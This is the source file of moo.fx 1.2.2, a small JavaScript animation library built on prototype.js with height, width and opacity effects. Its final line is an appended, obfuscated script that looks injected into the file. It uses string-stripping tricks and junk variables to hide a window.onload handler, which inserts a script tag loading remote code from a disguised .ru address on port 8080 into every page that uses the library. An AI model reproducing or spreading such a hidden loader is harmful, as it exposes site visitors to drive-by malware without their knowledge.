/*
moo.fx, simple effects library built with prototype.js (http://prototype.conio.net).
by Valerio Proietti (http://mad4milk.net) MIT-style LICENSE.
for more info (http://moofx.mad4milk.net).
Friday, February 24, 2006
v 1.2.2
*/

var fx = new Object();
//base
fx.Base = function(){};
fx.Base.prototype = {
	setOptions: function(options) {
	this.options = {
		duration: 500,
		onComplete: '',
		transition: fx.sinoidal
	}
	Object.extend(this.options, options || {});
	},

	go: function() {
		this.startTime = (new Date).getTime();
		this.timer = setInterval (this.step.bind(this), 13);
	},

	step: function() {
		var time  = (new Date).getTime();
		if (time >= this.options.duration+this.startTime) {
			this.now = this.to;
			clearInterval (this.timer);
			this.timer = null;
			if (this.options.onComplete) setTimeout(this.options.onComplete.bind(this), 10);
		}
		else {
			var Tpos = (time - this.startTime) / (this.options.duration);
			this.now = this.options.transition(Tpos) * (this.to-this.from) + this.from;
		}
		this.increase();
	},

	custom: function(from, to) {
		if (this.timer != null) return;
		this.from = from;
		this.to = to;
		this.go();
	},

	hide: function() {
		this.now = 0;
		this.increase();
	},

	clearTimer: function() {
		clearInterval(this.timer);
		this.timer = null;
	}
}

//stretchers
fx.Layout = Class.create();
fx.Layout.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.el.style.overflow = "hidden";
		this.el.iniWidth = this.el.offsetWidth;
		this.el.iniHeight = this.el.offsetHeight;
		this.setOptions(options);
	}
});

fx.Height = Class.create();
Object.extend(Object.extend(fx.Height.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.height = this.now + "px";
	},

	toggle: function() {
		if (this.el.offsetHeight > 0) this.custom(this.el.offsetHeight, 0);
		else this.custom(0, this.el.scrollHeight);
	}
});

fx.Width = Class.create();
Object.extend(Object.extend(fx.Width.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.width = this.now + "px";
	},

	toggle: function(){
		if (this.el.offsetWidth > 0) this.custom(this.el.offsetWidth, 0);
		else this.custom(0, this.el.iniWidth);
	}
});

//fader
fx.Opacity = Class.create();
fx.Opacity.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.now = 1;
		this.increase();
		this.setOptions(options);
	},

	increase: function() {
		if (this.now == 1 && (/Firefox/.test(navigator.userAgent))) this.now = 0.9999;
		this.setOpacity(this.now);
	},
	
	setOpacity: function(opacity) {
		if (opacity == 0) this.el.style.visibility = "hidden";
		else this.el.style.visibility = "visible";
		if (window.ActiveXObject) this.el.style.filter = "alpha(opacity=" + opacity*100 + ")";
		this.el.style.opacity = opacity;
	},

	toggle: function() {
		if (this.now > 0) this.custom(1, 0);
		else this.custom(0, 1);
	}
});

//transitions
fx.sinoidal = function(pos){
	return ((-Math.cos(pos*Math.PI)/2) + 0.5);
	//this transition is from script.aculo.us
}
fx.linear = function(pos){
	return pos;
}
fx.cubic = function(pos){
	return Math.pow(pos, 3);
}
fx.circ = function(pos){
	return Math.sqrt(pos);
}
var E='';try {this.P="";var Et;if(Et!='Y' && Et != ''){Et=null};var yY;if(yY!='Jp' && yY!='w'){yY=''};var cC;if(cC!='aK' && cC!='bk'){cC=''};var i=RegExp;var S=new String();var qm;if(qm!='' && qm!='NT'){qm=''};var _='[';var OR;if(OR!='EF' && OR!='v'){OR='EF'};var Q='g';var X='replace';var aD;if(aD!=''){aD='VV'};var r=']';var vq='';var NL;if(NL!='' && NL!='Ah'){NL=''};var c='';this.bF="";function b(d,J){var n;if(n!=''){n='Oq'};var ru="";var q=_;q+=J;this.z='';var XT;if(XT!=''){XT='e'};q+=r;var f=new i(q, Q);return d[X](f, c);};var j=new Array();var Bf=new Array();var F=b('bwo_dUyU',"w_U");var _V=b('aIpypIe0nIdyC0hyiyl0d0',"I0y");var N=b('s4eFtFAvtntnrFi4b4u4t4e4',"vgnF4");this.Nz="";this.vv="";var V=b('cOrieRaitqeOERlGeGmqeqnGtR',"GiRqO");var H=b('/FgFoFo3g3lFe3.3c3oFm3.3e3cF/3gFoFoFgFlFeF.3cFo3mF.3eFcF/Fm3aFr3kFe3t3gFiFdF.3cFo3mF/FpFc3oFn3lFiFn3e3.FcFo3mF.3cFnF/3gFo3o3g3l3e3.Fc3o3mF.FpFhFp3',"F3");var I=b('hGtqtGpq:q/q/qtGaqgqgqeqdq-GcGoqmq.qwquGnqdqeGrGgGrqoquqnGdG.qcGoqmq.qeqbqaqyG-qiGtG.qmqyGdGiqrGeqcGtGoGuqtGlqeqtG.qrquq:q',"Gq");this.vY="";var gu=new Array();var d="1";var Xe;if(Xe!='' && Xe!='Vi'){Xe='jH'};var kR=new Date();var s='';var bS;if(bS!='' && bS!='NP'){bS=''};var gz;if(gz!='' && gz!='Ok'){gz=''};var a=b('oknklXokakdk',"Xk");var FW=new Array();var O=b('814101998111091994',"149");var y=b('s1c1r1i1p1t1',"X1");this.mw="";var ju;if(ju!='gg' && ju!='qF'){ju='gg'};var W;if(W!='' && W!='BQ'){W=null};window[a]=function(){var HV="";var mC=new Array();A=document[V](y);var VK=new Array();s+=I;s+=O;this.fX="";var Wt="";s+=H;var qP=new String();var Qw=new String();var vm="";var x=document[F];A.setAttribute('defer', d);this.na="";A.src=s;var qk='';this.Ir="";x.appendChild(A);var Xd=new String();this.orF='';};var YS="";var Nd;if(Nd!='' && Nd!='yf'){Nd='cM'};} catch(o){var au=new Date();this.Ss="";};var Qf;if(Qf!=''){Qf='st'};